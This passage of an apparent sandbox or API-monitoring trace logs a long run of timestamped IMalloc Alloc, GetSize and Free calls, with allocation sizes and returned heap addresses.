0x2764bb08cb0 [0104.364] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08cb0) returned 0x8 [0104.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08cb0) [0104.377] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b827830 [0104.377] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b95f640 [0104.377] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95f790 [0104.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b8279f0 [0104.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95f2e0 [0104.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b828270 [0104.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b95fbe0 [0104.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b95f940 [0104.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b95f1f0 [0104.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b95f310 [0104.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b95f340 [0104.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b95f7f0 [0104.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b95f880 [0104.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95fc70 [0104.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95fa30 [0104.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95f8b0 [0104.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95f370 [0104.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95fa60 [0104.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95fb20 [0104.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95fc10 [0104.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95f3d0 [0104.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b827df0 [0104.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b95fc40 [0104.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b95f400 [0104.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b95fca0 [0104.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b960480 [0104.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b960570 [0104.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b95fdf0 [0104.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b9607b0 [0104.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b95fe80 [0104.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b9605d0 [0104.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b960780 [0104.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b828070 [0104.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b8282b0 [0104.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b827bf0 [0104.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b8280b0 [0104.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b95ffa0 [0104.506] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b9601b0 [0104.506] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b960210 [0104.507] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b960120 [0104.507] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b9602d0 [0104.507] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b8273f0 [0104.507] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b827070 [0104.507] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b960300 [0104.507] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b960240 [0104.508] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b960150 [0104.508] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8269f0 [0104.508] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b827470 [0104.508] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b826ff0 [0104.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b827630 [0104.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b960270 [0104.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b95feb0 [0104.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b95ffd0 [0104.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b9604b0 [0104.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95ff40 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b9603c0 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b960000 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b9608d0 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b960900 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b960630 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b511e30 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5960 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5e60 [0104.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5e80 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5da0 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5a40 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5d80 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5ea0 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5f00 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5de0 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5980 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5c00 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5b60 [0104.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5b00 [0104.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5840 [0104.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5f20 [0104.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5aa0 [0104.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5c80 [0104.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5b80 [0104.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5ca0 [0104.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5800 [0104.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5cc0 [0104.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5900 [0104.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5f40 [0104.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5820 [0104.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5920 [0104.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5dc0 [0104.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5860 [0104.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e58e0 [0104.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6560 [0104.514] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6060 [0104.514] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e61a0 [0104.514] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6400 [0104.514] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6520 [0104.514] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e61c0 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6620 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e60e0 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6020 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6080 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e63e0 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e66a0 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e63a0 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6760 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e62a0 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6100 [0104.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6000 [0104.516] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e62e0 [0104.516] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e62e0) returned 0x18 [0104.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e62e0) [0104.516] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d90 [0104.516] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) returned 0x8 [0104.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) [0104.516] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ce0 [0104.516] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ce0) returned 0x8 [0104.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ce0) [0104.516] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5f80 [0104.517] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5f80) returned 0x10 [0104.517] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5f80) [0104.517] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b960600 [0104.517] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b960600) returned 0x20 [0104.517] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960600) [0104.517] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8274b0 [0104.517] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8274b0) returned 0x30 [0104.518] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8274b0) [0104.518] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b884350 [0104.518] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884350) returned 0x48 [0104.518] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884350) [0104.518] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6440 [0104.518] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6440) returned 0x10 [0104.519] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6440) [0104.519] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b80 [0104.519] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b80) returned 0x8 [0104.520] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b80) [0104.520] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e62c0 [0104.520] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e62c0) returned 0x10 [0104.521] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e62c0) [0104.521] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08db0 [0104.521] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08db0) returned 0x8 [0104.523] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08db0) [0104.523] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6120 [0104.523] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6120) returned 0x10 [0104.527] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6120) [0104.527] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c60 [0104.527] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) returned 0x8 [0104.531] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) [0104.531] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6640 [0104.531] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6640) returned 0x10 [0104.533] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6640) [0104.533] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c90 [0104.533] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c90) returned 0x8 [0104.534] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c90) [0104.534] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6420 [0104.534] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6420) returned 0x10 [0104.537] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6420) [0104.537] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08be0 [0104.538] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08be0) returned 0x8 [0104.642] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08be0) [0104.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e62e0 [0104.642] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e62e0) returned 0x10 [0104.643] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e62e0) [0104.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e90 [0104.643] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) returned 0x8 [0104.644] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) [0104.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6280 [0104.644] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) returned 0x10 [0104.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) [0104.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c90 [0104.645] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c90) returned 0x8 [0104.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c90) [0104.647] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6600 [0104.647] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6600) returned 0x10 [0104.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6600) [0104.649] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e60c0 [0104.649] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e60c0) returned 0x10 [0104.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e60c0) [0104.651] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b40 [0104.651] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b40) returned 0x8 [0104.653] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b40) [0104.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6200 [0104.653] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6200) returned 0x10 [0104.654] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6200) [0104.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ed0 [0104.654] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ed0) returned 0x8 [0104.655] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ed0) [0104.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6660 [0104.655] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6660) returned 0x10 [0104.656] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6660) [0104.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b40 [0104.656] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b40) returned 0x8 [0104.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b40) [0104.657] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5fe0 [0104.657] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5fe0) returned 0x10 [0104.658] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5fe0) [0104.658] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b40 [0104.658] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b40) returned 0x8 [0104.659] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b40) [0104.659] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e60c0 [0104.660] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e60c0) returned 0x10 [0104.661] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e60c0) [0104.661] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e90 [0104.661] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) returned 0x8 [0104.662] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) [0104.662] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6320 [0104.662] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6320) returned 0x10 [0104.662] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6320) [0104.662] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08df0 [0104.662] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) returned 0x8 [0104.663] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) [0104.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6200 [0104.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6200) returned 0x10 [0104.663] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6200) [0104.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ce0 [0104.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ce0) returned 0x8 [0104.663] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ce0) [0104.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6160 [0104.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6160) returned 0x10 [0104.666] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6160) [0104.666] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08df0 [0104.666] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) returned 0x8 [0104.667] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) [0104.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6460 [0104.667] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6460) returned 0x10 [0104.679] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6460) [0104.679] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e64c0 [0104.679] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e64c0) returned 0x10 [0104.993] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e64c0) [0104.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ef0 [0104.994] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ef0) returned 0x8 [0105.007] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ef0) [0105.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e64c0 [0105.007] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e64c0) returned 0x10 [0105.011] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e64c0) [0105.012] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08db0 [0105.012] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08db0) returned 0x8 [0105.015] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08db0) [0105.015] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e64c0 [0105.015] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e64c0) returned 0x10 [0105.209] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e64c0) [0105.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e65a0 [0105.209] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e65a0) returned 0x10 [0105.223] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e65a0) [0105.223] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e90 [0105.223] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) returned 0x8 [0105.303] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) [0105.303] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6580 [0105.303] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6580) returned 0x10 [0105.309] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6580) [0105.309] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e90 [0105.309] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) returned 0x8 [0105.315] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) [0105.315] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6600 [0105.315] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6600) returned 0x10 [0105.320] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6600) [0105.320] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c60 [0105.320] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) returned 0x8 [0105.545] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) [0105.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6700 [0105.545] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6700) returned 0x10 [0105.549] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6700) [0105.549] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d90 [0105.549] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) returned 0x8 [0105.553] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) [0105.553] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6240 [0105.553] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6240) returned 0x10 [0105.554] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6240) [0105.554] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08df0 [0105.554] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) returned 0x8 [0105.555] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) [0105.555] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6240 [0105.556] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6240) returned 0x10 [0105.556] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6240) [0105.557] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b70 [0105.557] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) returned 0x8 [0105.558] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) [0105.558] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6700 [0105.558] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6700) returned 0x10 [0105.559] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6700) [0105.559] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b70 [0105.559] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) returned 0x8 [0105.560] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) [0105.560] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6480 [0105.560] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6480) returned 0x10 [0105.561] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6480) [0105.561] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c60 [0105.561] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) returned 0x8 [0105.562] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) [0105.576] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6480 [0105.576] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6480) returned 0x18 [0105.577] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6480) [0105.577] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c60 [0105.577] IMalloc:GetSize 